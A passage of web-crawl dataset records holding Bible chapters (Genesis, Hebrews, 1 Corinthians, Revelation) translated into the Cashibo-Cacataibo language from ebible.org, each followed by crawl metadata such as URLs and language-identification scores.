'aish ca, an ñu 'atima 'ati sinánmicë 'aísha Nucën Papa Diosbë uni 'itima 'icëbi ñunshin 'atimanën 'apu a ñusmonux bamati cupí, Jesús uni 'iacëxa. 15 Usai 'iquin ñunshin 'atimanën 'apu ñusmoquin ca Jesusan axa ami catamëcëma 'aish aín bamati sinani racuë́cë unicama, ax ainan 'aish aín bamatimi racuë́timoquin mëníocëxa. 16 Usa 'aish ca Jesús ángelcama 'aquinti sinani uni 'inux uáma 'icën. Uicamax cara Abraham Nucën Papa Diosmi catamëasaribiti ami catamëtia acama 'aquinti sinani ca Jesús uni 'inux uacëxa. Asérabi ca usa 'icë quixun cananuna 'unanin. 17 Ësaquin nu 'aquinti cupí ax nusaribi uni 'ixun, ñunshin 'atimanën 'apun tancëxun 'unánan paë tani tëmërati 'unan 'ixun ca Jesusan aín unicama Nucën Papa Dios upí oquin ñucáxunia. Usa 'aish ca nun 'ucha tërë́nux bamati cupí nusaribi uni 'iacëxa. 18 Ax tëmëranan ñunshin 'atimanën 'apun tancëxunbi ñu 'atima 'aíma 'ixun ca an, a ñunshin 'atimanën 'apun ñu 'atima 'anun quixun sinánmicë aín unicamaribi usoquin 'axunma 'anun cushioti 'icën.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/HEB02.htm","date":"2022-01-21T23:26:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303717.35\/warc\/CC-MAIN-20220121222643-20220122012643-00266.warc.gz","language":"cbr","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000081062316895}","num_words":672,"character_repetition_ratio":0.102,"word_repetition_ratio":0.024,"special_characters_ratio":0.219,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2\n1 Usokin 'atankëxun ka Nukën 'Ibu Diosan naí 'imainun me, anua 'ikë ñukama këñunbi 'akin kamabi sënëonkëxa. 2 Mapai achúshi 'imainun achúshi nëtën ka Nukën 'Ibu Diosan an 'akë ñukama sënëonkëxa, usokin 'atankëx ka tantiakëxa. 3 Usa 'ain ka mapai achúshi 'imainun rabë́ nëtë a upíokin sinánxuni a nëtëx ka upíira 'iti 'ikë kiax kiakëxa, a nëtën ka kamabi ñukama uniotankëx tantiakëxa. 4 Ënë banax ka usakin ka Nukën 'Ibu Diosan naí 'imainun me uniokëxa kixun ñuikë bana 'ikën.\nUni Edén kakë naësa menu 'iá\nUsakin Nukën 'Ibu Diosan naíkamë 'ëo këñun me uniokin sënë́onkë 'aínbi ka, 5 anu añu ñubi 'aima pain 'iakëxa, añu ñubi ka me mëuküax 'irukëma pain 'iakëxa, uñeribi ka Nukën 'Ibu Diosan 'ibumiama pain 'ikën an me chabóti, 'imainun ka an naë mëníoti uni 'aima pain 'iakëxa. 6 Usa 'aínbi ka menuax mekama chabói 'umpax shióbuakëxa. 7 Usa 'ain ka Nukën 'Ibu Diosan mebi unisa 'inun 'atankëxun aín rëkinu rëxúnkakëxa, rëxúnkakëxëshi ka uíni uni 'iakëxa. Usai 'ika uni uniakëxa.\n8 Usokin 'atankëxun ka Nukën 'Ibu Diosan Edén kakë naësa me, auküaxa bari urukë, anu achúshi naësa okin 'axun anuxun kamabi ñu bëruánti anubi ëankëxa. 9 A naësa me anu ka Nukën 'Ibu Diosan bëtsi bëtsi i upíbu 'ixuan aín bimi upíbu pisabi 'inun tuati a koónun 'imiakëxa. Imianan ka naësa me a nëbëtsi a pia uni upiti tsóti 'imainun, a pikin uisa ñux kara upí 'ikë a 'unánan uisa ñux kara 'atima 'ikë a 'unánti aribi kónun 'imiakëxa.\n10 Usa 'ain ka Edén kakë naësa me anuax achúshi baka an naësa a chabóti shióbukë, anuax ka amo rabë́ 'imainun amorabë́ 'inun baka saëakëxa. 11 A baka achúshinëx ka Pisón kakin anëkë 'iakëxa, an ka Havilá kakë mekama bëararakë 'iakëxa. A menu ka 'itsaira kuri 'iakëxa. 12 A menu ka kuri upíira 'imainun i bëpín sanuira 'ianan ka ónice kakë maxáxribi anu 'iakëxa. 13 Bëtsi baka ka Guihón kakin anëkë 'iakëxa, an ka Cus kakë me bëararakë 'iakëxa. 14 Bëtsi baka ka Tigris kakin anëkëribi 'iakëxa, ax ka Asiria amiaxa bari urukë ami kikiani kuankëxa. 'Imainun ka Bëtsi bakaribi ax Éufrate kakë 'iakëxa.\n15 Edén kakë me anu naësa achúshi 'atankëxun ka Nukën 'Ibu Diosan an uniokë uni kakëxa: ënë bërúanan mënioi kamina ënu tsóti 'ain, 16 katankëxun ka ësokinribi kakëxa: Min kamina piti 'ain kamabi i bimi naësa ënua 'ikë ënë, 17 'ën kana mi kain, anun upí 'imainun 'aisama ñu 'unánti a i ain bimi kamina pitima 'ain. Uisaran karamina a bimi pin a nëtënbi kamina bamakë 'iti 'ain. 18 Katankëxun ka Nukën 'Ibu Diosan kakëxa: uníxa ashira 'iti ka 'aisama 'ikën. Usa 'ain kana an 'akinti bëtsi 'axúnti 'ain.\n19 Usakin 'atankëxun ka Diosan menua uniokë ñuinakama 'imainun ñuina pëchiñukama unin anënun uninu uankëxa. A unían anëkë 'aish ka kamabi ñuinakama a piti a pitima 'imainun kamabi ñuina pëchiukama 'imainun raëkëmakama anëñu 'iakëxa, 20 anëkëx ka aín anë ax anubi bërúakëxa. Usa 'aínbi ka a ñuinakama achúshinëxi a uni 'akinsama 'iakëxa.\n21 Usa aín ka Nukën 'Ibu Diosan a uni 'aímai upiti 'uxtanun 'uxmiakëxa, 'uxmikëxa 'aímai upiti uxan ka aín putu achúshi bitankëxun aín naminbi amiribishi bëtasakëxa. 22 A putúbi ka Nukën 'Ibu Diosan achúshi xanu 'inun uniokëxa, uniotankëxun ka a uninu bëakëxa, 23 bëia isi, ka uni kiakëxa: ¡Ënëx ka 'ën namibi 'anan 'ën xobi 'akë 'ikën! Aín anëx ka xanu 'iti 'ikën, ax ka Diosan unin putúbi bixun 'akë 'ikën. 24 Usa 'ain ka unin aín xanu bikin aín papa aín tita ënti 'ikën, usa 'aish ka a rabëtaxbi achúshi unisashi 'iti 'ikën.\n25 Usakin 'akëx ka uni 'imainun xanu chupañuma 'iakëxa, 'aínbi ka usa 'ixunbi a rabëxun rabinti sinánma 'ikën, sinanima ka usabi 'iakëxa.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/GEN02.htm","date":"2022-01-18T17:13:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300934.87\/warc\/CC-MAIN-20220118152809-20220118182809-00533.warc.gz","language":"cbr","language_score":0.9999438524,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 0.9999438524246216}","num_words":579,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"50\n1 Usaia 'ain bana ñomëti nëtë́ti ñuia ka Josénën aín papa 'ikúkin bikin bëtsuku kakëxa. 2 'Atankëxun ka Josénën an uni 'insínia ronkë rukuturukama aín papa Jacobnën nami anëtima kupían ron upíokin 'anun kakëxa, usakian kakëxun ka rontankëxun upíokin chupan rabunxun nankëxa. 3 Usakin 'akin ka cuarenta nëtë 'imikin anun anëtima ron 'akëxa a nëtë kamax ka anun usokin 'ati 'iakëxa.\nUsakin 'akë 'ain ka egipcio unikamax 'itsaira masá nuitukin setenta nëtë 'imi 'itsaira rarumakëxa, 4 usai ati nëtëkaman aín papa sinani nitë́xëtankëxun ka Josénën 'apu faraón aín xubunu 'ikë aín kushi kamabë pain banakëxa, banakin ka ësokin kakëxa:\n—Mitsux upí sinanñu 'ixun 'ë 'akinsa tankin karamina 'apu faraón ësokin 'ë kaxuni kuanti 'ain. 5 'Ën papan ka ñutisamapan rakáxun, ësokin 'ë kaxa sinántëkëntima okin anu ñuia maintia anbi 'á Canaán kakë me anubi maínun kixun 'ë kaxa, usa 'ain kana 'ënbi anu maintia 'a me anu mainikuanti 'ain, usa 'ain kana 'ën mi ñukatin 'ë karamina 'ën papa maíntanun 'ë xutima 'ain, maínbëtsini kana utëkënti 'ain. 6 Kixuan kamikëxun ka faraónën kakëxa:\n—Min papa kamina usakin anua mi kakë usakinbi maini kuanti 'ain. 7 Usa 'ain ka José aín papa maini kuankëbë, kamabi aín kushibu axa 'apu faraónën xubunu 'ikë 'imainun Egipto menu an ñu mëëkëkamaribi kuankëxa, 8 kuankëbë ka Jacobnën aintsi 'ibukama 'imainun Josénën xukë́antukamaribi atubë kuankëxa. Kuankin ka Gosen kakë me anu uniakë xukama 'imainun atun ñuina kamaishi ëbiankëxa. 9 'Imainun ka uni aín carreta caballonëan nirinbiankin uankë anúnribi José kuania buani 'itsaira uni rikiankëxa, usa 'aish ka 'aisamaira uni aín caballonën tsótax kuankankëxa.\n10 Usakiani kuanx ka anua Goren-ha-atad, 'ikë Jordán baka kuainakëkë anu bëbaxun 'aisamaira uni timëkamë 'ëokë ax masánuituti ini rarumakëxa. 'Imainun ka José mapai achúshi 'imainun rabë́ nëtë anuax 'itsaira iankëxa. 11 Usai 'iaka anu tsókë cananeo unibunën 'aisamaira timëkamë 'ëokë isakëxa, isí ka kikankëxa: egipcio unibu ka uni ñukë mainux timëkamë 'ëoxa kiax kikankëxa. Usai anuax 'ikë ka Abel-misraim kakin anëakëxa, ax ka Jordán baka amiaxa bari urukë au 'iakëxa.\n12 Usa 'ain ka Jacobnën bëchikë kaman aín papan ñutisama 'ixun kakësabiokin kamabi 'akëxa, 13 usakin 'atankëxun ka Canaán kakë me anua 'ikë Macpelá kakë me anua 'ikë kini, Abrahamnën Efrón kakë uni hitita ainan 'ikëbi anu aín aintsikama ñuia maínti marua anu maíankëxa. A me 'imainun a kinix ka Mamré kakë me amiaxa bari urukë au 'iakëxa. 14 Usokin aín papa maíntankëx ka, José amiribishi Egiptonu aín xukë́nkama 'imainun abëa kuankë unikamabë kuantëkëankëxa.\nAshitia José a nëtën usai 'ia ñuikë bana\n15 Aín papa Jacob ñukë 'ain ka Josénën xukë́nkaman ësokin sinánkëxa: Bërí sapika Josénën nun painu 'atimo a sinánkin nuribi 'atima oti 'ikën. 16 Ësokin sinánkin ka aín xukë́antun kamiakëxa: Nun papa ñutisama 'ixun ka nu kakëxa, 17 ësokin mi kanun: Min xukë́nkama kamina an mi 'atima oi 'ucha 'ikëbi uisabi otima 'ain. Usa 'ain kamina nun mi 'atimo a sinánkin nuribi 'atima otima 'ain, nukamax kananuna nun papa Dios aín unikama 'ain. Ësakian a kamikë unikaman kakëxun kuati ka José iankëxa.\n18 Usai 'ian ka aín xukë́n 'ibukama ami bëbai aín bëmáno nirakëti rantipuruni aín bëmánanën me tikai tsóbukin kakëxa:\n—Ënu kananuna nukamax uan. Nukamax kananuna min ñu mëmikë uni 'iti 'ain. 19 'Aínbi ka Josénën atu kakëxa:\n—Kamina rakuënkantima 'ain. 'Ëx kana Diosma 'ain. 20 Mikaman kamina 'ë 'atima oti sinánkën, usakin mitsun 'aiabi ka Nukën 'Ibu Diosan 'atima okin 'akë a upíokin bërínu iskë ñukama ënë mëníoxa: usa 'ain kana 'ën 'itsaira uni bamati 'ikëbi 'akian. 21 Usa 'ain kamina mitsux rakuë́tima 'ain. 'Ën kana mikama 'imainun mitsun bëchikëkamaribi aín piti ñu 'inánti 'ain. Ësokin kakin ka Josénën aín xukë́nkama upíokin sinánmiakëxa.\nJosé ñua ñuikë bana\n22 Usakin kamabi ñu pain 'atankëx ka José aín papan aintsi 'ibukamabë Egipto menubi tsóakëxa. Anu ka José ciento diez baritia 'imi tsóakëxa, 23 usai anu tsóxun ka Efraínën bëchikënëan bëchikë aín xutakama isakëxa. Isanan ka Manasésnën rëkuë́n bëchikë Maquir kakë aín xutan bëchikëkamaribi 'itsaira 'ikë isakëxa.\n24 Achúshi nëtën ka Josénën aín xukë́nkama kakëxa: 'Ëx anun ñuti nëtë ka 'urama 'ikën, usa 'ain ka Nukën 'Ibu Diosan mitsu 'akinti 'ikën, usa 'ixun ka ënë nëtënua anbi mitsu chikinbiakin a 'inánuxuan Abraham kanan Isaac 'imainun Jacob ka me anubi mitsu buánti 'ikën. 25 Ësakin kakin ka José aín xukë́n kaman a sinanatëkëntima okin atun kanun kakëxa: Asérabi ka Nukën 'Ibu Diosan mitsu 'akinti 'ikën. Usa 'ain kamina mitsun 'ëx ñuia ënu maínkinma ënua 'ë buánti 'ain. 26 Usai pain 'itankëx ka José Egipto menuax ciento diez baritiañu 'aish ñuakëxa, ñuia ka aín nami anun uni ñuia 'ati ro anun 'atankëxun upíokin sabananën rabunxun anu uni bamaia maínti 'akë cajun achúshinu 'aruakëxa, 'aruxun anu maintia mëníokë anu maíankëxa, ësokin ka José ñukë 'akankëxa ashi.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/GEN50.htm","date":"2022-01-24T03:45:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304471.99\/warc\/CC-MAIN-20220124023407-20220124053407-00686.warc.gz","language":"cbr","language_score":0.9997395873,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 0.9997395873069763}","num_words":746,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"14\nUnin 'unáncëma banan banati ñui quicë bana\n1 Usa 'ain camina manúquinma unicama nuibati 'ain. Nuibanan camina Nucën Papa Diosan Bëru Ñunshin Upitan mitsu bëtsi bëtsi ñumi 'anun 'amiti cuëënti 'ain. Bëtsi ñu 'ati cuëëncësamaira oi camina an mi sinánmicëxun aín bana upí oquin unicama ñuixunti cuëënti 'ain. 2 Axa Nucën Papa Dios rabi unin cuacëma banan banacë uni, ax ca unin uisai cara quia quixun cuanunmabi Nucën Papa Dios rabi an cuanun banaia. Nucën Papa Diosan Bëru Ñunshin Upitan 'imicëx ca ax unin cuacëma banan banaia. 3 Usa 'aínbi ca an Nucën Papa Diosan sinánmicëxun aín bana unicama ñuixuncë uni an axa Jesucristomi catamëcë unicaman ami catamëquin an cacësabi oquin 'anun 'unánmia. 'Unánmianan ca ñu upíshia 'anun cushioquin 'ësëia. 'Ësë́anan ca masá nuitutiabi sinanamiquin upí oquin sinánmia. 4 Axa Nucën Papa Dios rabi unin cuacëma banan banacë uni ax ca axbi Jesucristo upiti sinania. Usa 'aínbi ca an Nucën Papa Diosan sinánmicëxun aín bana unicama ñuixuncë uni an axa Jesucristomi catamëcë unicaman ami catamëquin an cacësabi oquin 'anun 'unánmia.\n5 Mitsúxmi unin cuacëma banan banati cana 'ëx cuëënin. Usa 'aínbi cana mitsúxmi usai banati cuëëncësamaira oi mitsúnmi Nucën Papa Diosan sinánmicëxun aín bana unicama ñuixunti cuëënin. Unin cuacëma banan banaquinbi uisai quicë cara a bana 'icë quixun ñuixuncëxunma ca bëtsi unin uisai quicë cara quixun 'unántima 'icën. Nucën Papa Diosan 'imicëxuinshi ca unin 'unánti 'icën. Usa 'ain ca ami catamëcë unicama Jesucristo cuëëncësabi oi 'inun 'aquinuxun an a bana 'unáncë unin uisai quicë cara quixun raíri ñuixunti 'icën. 6 'Ën xucë́antu, ësaquin cana mitsu cain. Mitsu isi cuanx Nucën Papa Dios rabi unin cuacëma banan banaquinbi, an 'ë sinánmicë ñu mitsu ñuixuncëma 'ianan usai ca axa Jesúsmi sináncë uni 'iti 'icë quixun caíma, 'ianan Nucën Papa Diosan bana mitsu upí oquin sinánmiquin 'ësëima, 'ianan aín bana ñuiquin mitsu 'unánmicëma 'aish cana upitimi Jesúsmi sinánun mitsu 'aquincëma 'itsían.\n7 Ënëx ca ësa 'icën. Unían paca 'imainun arpasa, a upí oquin banaocëbëtanma ca uni itsin uisai quiquin cara bana oia quixun 'unanima. 8 Bëtsían upí oquin manë xo bana ocëbëma ca suntárucama —cananuna 'acananti 'ai —quixun 'unanima mëniocatima 'icën. 9 Usaribi oquin ca mitsúxmi Nucën Papa Dios rabi unin cuacëma banan banacëbëtan uínbi a bana cuatima 'icën. Usa 'aish camina ñancábi banati 'ain. 10 Camabi menuax ca uni bëtsi bëtsi banan banaia. Usaía quiabi ca an a bana 'unáncë uni an a bana cuatia. 11 Usa 'aínbi ca an cacëxunbi 'ën aín bana uisai cara quia quixun cuacëbëtanma —ax ca 'ën aintsima 'icë —quixun sinánti 'icën. 'Ënribi cana —'ën aintsima ca ënë uni 'icë —quixun sinánti 'ain. 12 Mitsux asérabi bëtsi bëtsi ñu 'anun Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicë 'iisa tanquin camina añu 'aquin caramina camabi uníxa Jesucristomi upiti sinani ax cuëëncësabi oi 'inun sinánmiti, a ñuishi 'ati 'ain.\n13-14 'Ëx unin cuacëma banan banaquin cana Nucën Papa Dios rabiquinbi uisai carana qui quixun 'unaniman. Usa 'ain ca axa unin cuacëma banan banacë uni, an unicama ñuixunuxun uisai cara a banacama quia quixuan a 'unánminun Nucën Papa Dios ñucáti 'icën. 15 Usa 'aish cana 'ën nuitu mëu a sinánquin Nucën Papa Dios rabi 'ën cuacëma banan banaibi 'ën cuacë banánribi banati 'ain. A rabi cana 'ën cuacëma banan cantanan 'ën cuacë banánribi cantati 'ain. 16 Unin cuacëma banan banaquinmi Nucën Papa Dios rabiabi ca min bana cuaquinma an Nucën Papa Diosan bana upí oquin 'unáncëma unicaman mibëtan Nucën Papa Dios rabiti sinántima 'icën. 17 Minmi a banan Nucën Papa Dios rabicë axa asábi 'aínbi camina bëtsi uniribi upitia Jesúsmi sinánun 'aquiniman. 18 Mitsúxmi 'icësamaira oi cana 'ëx Nucën Papa Dios rabi unin cuacëma banan banain. 'Ën usai banati 'unáncë cupí cana Nucën Papa Dios —asábi ca —quixun cain. 19 Usa 'aíshbi cana axa Jesucristomi catamëcë unicama timë́cë 'ain, unin cuacëma banan 'itsaira banati cuëëncësamaira oi unían cuacë banan banati cuëënin. A banan 'itsamashi banaquinbi unicama atun cuaisabi oquin 'unánmiti ca asábi 'icën.\n20 'Ën xucë́antu, tuáratsunën sináncësa oquin camina sinántima 'ain. Ñu 'atima 'ati 'unáncëma 'aísha tuáratsu 'icësaribiti camina 'iti 'ain. 'Iananbi camina bëtsi ñucama sinánquin uni apanën upí oquin sináncësabi oquin sinánti 'ain. 21 Nucën Papa Diosan bana cuënëo ca ësai quia: \"Bëtsi banan banaquin cana ënë unicama ñuixunti 'ain, bëtsi nëtënu 'icë unin ca ën 'imicëxun atu cati 'icën. Usaquian cacëxbi ca 'ëmi sinántima 'icë quiax ca Nucën 'Ibu Dios quia\". 22 Axa Jesucristomi catamëcë uníxa unin cuacëma banan banaia cuaquinbi ca raírinën uisai cara quia quixun 'unánquinma a bana sinanima. An sinaniamabi ca Jesucristomi sináncëma unin a bana cuaquin sinánti 'icën, Nucën Papa Diosan 'imicëx sapi ca banaia quixun. Usa 'aínbi ca an sinánmicëxuan Nucën Papa Diosan bana ñuixuncë uníxa banaia cuati aín unicama upiti Jesucristomi sinánti 'icën. Usa 'aínbi ca axa ami catamëisama tancë unicaman a bana cuaquinbi asérabi ca usa 'icë quixun sinanima. 23 Aín bana cuacë 'aíshmi mitsux timë́ax camáxbi Nucën Papa Dios rabi unin cuacëma banan banacëbë ca an mitsúxmi usai 'ia 'unáncëma uni raíri 'imainun axa Jesúsmi sináncëma uni raírinëx atsínti 'icën. Atsínquin mitsúxmi usai banaia cuaquin ca —sapi ca ñunshíanxa —quixun sinánti 'icën. 24 Usa 'aínbi ca timë́xunmi mitsun Nucën Papa Diosan sinánmicëxun bana ñuicëbë, axa Jesucristomi catamëcëma uni 'ianan mitsúxmi usai 'ia 'unáncëma uni, ax atsínxun mitsúnmi ñuia cuaquin —a banax ca asérabi 'icën, 'atima ñu cana 'ën 'a —quixun sinánti 'icën. 25 —'Ën unë́xun 'acë ñuribi ca Nucën Papa Diosan isaxa —quixun sinánquin ca a ñucama chiquinaquin Nucën Papa Dios rabiti 'icën. Rabianan ca —asérabi ca Nucën Papa Dios mitsubë 'icë —quiti 'icën.\nTimë́ax sharáruima banati bana\n26 'Ën xucë́antu, timë́ax camina ësai 'iti 'ain. Raírinëx camina 'iisa tani cantati 'ain, raírinën camina Nucën Papa Diosan bana ñuixunti 'ain, raírinën camina añu cara Nucën Papa Diosan mitsu sinánmiaxa a ñuiquin cati 'ain, 'iisa tani camina raírinëx unin cuacëma banan banati 'ain, raírinën camina uisai quicë cara a bana 'icë quixun ñuixunti 'ain. Timë́xun caramina uisa ñu 'ai a 'ai camina camáxbi ami upiti sinani Jesucristo cuëëncësabi oi 'inun sinánmiananti 'ain. 27 Usa 'ain camina unin cuacëma banan Nucën Papa Dios rabi banatisa tani, rabëtaxëshi banati 'ain. 'Ianan camina rabë́ 'imainun achúshtaxëshi banati 'ain. Usa 'aíshbi camina achúshi achúshitaxëshi banati 'ain. Banaquin camina uisai quicë cara a bana 'icë quixun unicama ñuixunti 'ain. Min ñuixuniama ca bëtsi unin uisai qui caramina quia quixun ñuixunti 'icën. 28 An uisai quicë cara a bana 'icë quixun ñuixunti 'aíma 'ain camina uni timë́cë anuax Nucën Papa Dios rabi unin cuacëma banan banatima 'ain. Usari banaima camina min nuitu mëúishi ami sinani Nucën Papa Dios rabi abë banati 'ain. 29 Usaribi oquin camina Nucën Papa Diosan sinánmicëxun aín bana ñuixuinsa tanquin rabë́xuinshi unicama ñuixunti 'ain. Ñuixuanan camina rabë́ 'imainun achúshixuinshi ñuixunti 'ain. Ñuixunia camina raírinën —a unin banax cara asérabi Nucën Papa Diosan sinánmicëxa quicë 'icë —quixun cuati 'ain. 30 Usa 'aínbi ca an bana ñuixuncë uni, uni itsínribia bana ñuixuinsa tania isi, nëtë́ti 'icën. 31 Usoquin camina uicamax caramina Nucën Papa Diosan sinánmicë 'ain, an achúshi achúshixun bana ñuixunti 'ain. Usoquin bana ñuixuncëx camina camaxunbi upí oquin Nucën Papa Diosan bana 'unani ami cushicë 'iti 'ain. 32-33 Nucën Papa Diosax ca aín unicamaxa timë́ax an bana ñuixuncë unían ñuixuncëxun bana cuatima raíri sharárui banati cuëënima. Usa 'ain ca raíri unin bana ñuixuinsa tanquinbi tënëpaínti 'icën.\nUinu cara timëtia, anuax ca axa Jesucristomi catamëcë unicamax ësai 'ia. Usa 'ain camina usaribiti mitsux 'iti 'ain. 34 Axa Jesucristomi catamëcë unicama timë́cë 'ain ca xanu banatima 'icën. Usa 'ixun ca bëbu uníxa banaiashi cuati 'icën, Nucën Papa Diosan bana cuënëo quicësabi oquin. 35 Bana upí oquin 'unántisa tanquin ca aín xubunuxun xanun aín bënë ñucáti 'icën. Axa Jesucristomi catamëcë unicama timë́cë anuax xanux banati ca upíma 'icën.\n36 Camina 'unánti 'ain, mitsu pain ca Nucën Papa Diosan aín bana 'unánun 'imiama 'icën. —Nuinshi cananuna aín bana 'unani —quixun camina sinántima 'ain. 37 Micama an Nucën Papa Diosan sinánmicëxun uni bana ñuixuncë 'imainun a aín Bëru Ñunshin Upitan sinánmicë unicama, mitsun camina 'unánti 'ain, 'ën mitsu cuënëoxuncë banacama, ënëx ca an 'ë sinánmicëxun 'acë 'icë quixun. 38 Ui unin cara usaquin sinánquinma —anbi sinani ca Pablo quia —quixun sinania, a uni camina —asérabi ca aín bana 'icë —quixun sinántima 'ain.\n39 'Ën xucë́antu, cana mitsu cain, an Nucën Papa Diosan sinánmicëxun aín bana uni ñuixuncë 'iti camina sinánti 'ain. Usa 'ixunbi camina Nucën Papa Dios rabia unin cuacëma banan banaxma 'inun uni catima 'ain. 40 Usa 'aínbi camina micamax timë́ax sharárui banatima, bëtsix paían quimainun caini upí oquin sinani banati 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO14.htm","date":"2022-05-29T05:12:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663039492.94\/warc\/CC-MAIN-20220529041832-20220529071832-00547.warc.gz","language":"cbr","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000078678131104}","num_words":1357,"character_repetition_ratio":0.139,"word_repetition_ratio":0.028,"special_characters_ratio":0.206,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"III. LEVITAN RËBUNQUINËN ÑU 'ACË CUPI UNI 'IASAMAIRA OI CA JESUS CUPI UNI AIN 'UCHA TËRËNCË 'IA (9-10)\nAnuax judíos sacerdotecama Nucën Papa Diosbë baná tabernáculo ñuianan Jesucristo anu Nucën Papa Dios 'icë ñuicë bana\nIV. CRISTO UCËMA PAIN 'AIN CA JUDIOS UNI RAIRINËX ASERABI NUCËN PAPA DIOSMI CATAMËACËXA QUIAX QUICË BANA (11-13)","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/HEB00.htm","date":"2022-05-25T19:40:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662593428.63\/warc\/CC-MAIN-20220525182604-20220525212604-00584.warc.gz","language":"cbr","language_score":0.8878184557,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 0.887818455696106, \"zai_Latn_score\": 0.01073995977640152}","num_words":51,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"14\nCiento cuarenta y cuatro mil uníxa cantati bana\n1 Usaquin istancëxun istëcënquin cana Carnero 'icësaribitia unin 'ucha cupí bama, a matá me Sión cacë, anua Jerusalén 'icë, anu nicë isan. 'Ën iscëx ca abë 'aisamaira uni, ciento cuarenta y cuatro mil (144,000) unicama, axa aín bëmánanu Cristonën anë 'imainun Nucën Papa Diosan anënribi cuënëocë, a unicamax 'iaxa. 2 A isanan cana naínuaxa banaia cuan. A banax ca baca xuqui cushíinra banaruia cuacësa 'ianan caná munuma banacësaribi 'aish 'itsa unían aín arpa 'aia cuacësaribi 'iaxa. 3 Acama ciento cuarenta y cuatro mil unicamax ca anun cantacëma, canta iotan cantaxa. A cantax ca anu Nucën Papa Dios 'icë a bëmánon 'imainun axa bamatimoi tsócë 'itsa bëruñu rabë́ 'imainun rabë́ ñu, acama 'imainun anu 'icë caniacëcë unicama mëcën rabë́ 'imainun taë rabë́ 'imainun rabë́ 'imainun rabë́, acaman bëmánauncüaxa cantacë 'iaxa. Uinu 'icë unínbi ca a canta 'unántima 'icën, unicama ciento cuarenta y cuatro mil (144,000) a Nucën Papa Diosan ainan 'inun ië́micë, acaman cuni ca a canta 'unánxa. 4 A unicamax ca xanubë 'uchacëma 'ianan ñu 'atima 'ati cuëënima Carnero 'icësaribitia unin 'ucha cupí bama ainanshi 'aish, ax quicësabi oi 'ia. Acamax ca Nucën Papa Diosan ainan 'inun ië́micë 'ianan Carnero 'icësaribitia unin 'ucha cupí bama, ainanribi 'inun aín 'uchacama tërë́ncë a 'icën. 5 Ënë unicamax ca aín nuitu asérabi upí 'aish cëmëi banacëma 'aish anu Nucën Papa Dios 'icë aín bëmánon 'ia.\nRabë́ 'imainun achúshi ángelnëxa bana\n6 Usa 'ain cana bëtsi ángelribi isan. Camabi unin cuanun ca naínu nuani munuma banai, Cristo cupí ca unicamax xëníbua 'aínbi Nucën Papa Diosnan 'iti 'icë quiaxa. Camabi menu 'icë unicama bëtsi bëtsi unibu, bëtsi bëtsi menu 'icë, bëtsi bëtsi banan banacë an cuanun, 7 ca ësai munuma banaquin caxa:\n—Anun Nucën Papa Diosan camabi uni aín ñu 'acësabi oquin, uisa cara oti 'icë usoquin 'ati nëtë ca uaxa. Usa 'ain camina ami racuë́quin a rabiti 'ain. An naícama, mecama, parúnpapacama, xëxácama unio, a camina rabiti 'ain.\n8 Usai quicëbë ca bëtsi ángelribi a caxu ai quiaxa:\n—Babilonia, a ëma chaira, anu 'icë unicaman ca aín xanuma 'aínbi xanu itsin ñunshini cuëënti, 'imainun 'aisamaira ñu 'atima, an 'acësaribi oquian 'anun quixun camabi menu 'icë unicama 'unánmiaxa. A ëma 'imainun anu 'icë unicamax ca bërí cëñúaxa, ca 'aíma 'icën.\n9 Usai 'icëbë ai ca bëtsi ángelribi munuma banai ësai quiaxa:\n—Uicaman cara parúnpapanuax uax 'irucë ñuinacan'ëo 'imainun a tanquian a iscësa oquin unin 'acë ñu a rabicë cupí aín bëmánanu cuënëocë unicama, 'imainun aín bëmánanu cuënëocëma 'aish aín mëcë́nu cuënëocë 'icë 10 a unicama ca Nucën Papa Diosan 'aisamairai ami nishquin castícanti 'icën. Acaman ca anuaxa manë tsi 'imainun azufre rëquirucë, anuxun 'aisamaira oquin paë tanti 'icën. Nucën Papa Diosan ángelcama 'imainun Carnero 'icësaribitia unin 'ucha cupí bama, acaman ca atúxa usai 'ia isti 'icën. 11 Manë tsi anuxuan atun xënibua 'aínbi paë tanti, anuax ca aín cuin nëtëtima tëxëquiruia. Usai ca an parúnpapanuax uax 'irucë ñuinacan'ëo, 'imainun a tanquian a iscësa oquin unin 'acë ñu a rabicë unicama, 'imainun ñuinacan'ëon anë anu cuënëocë 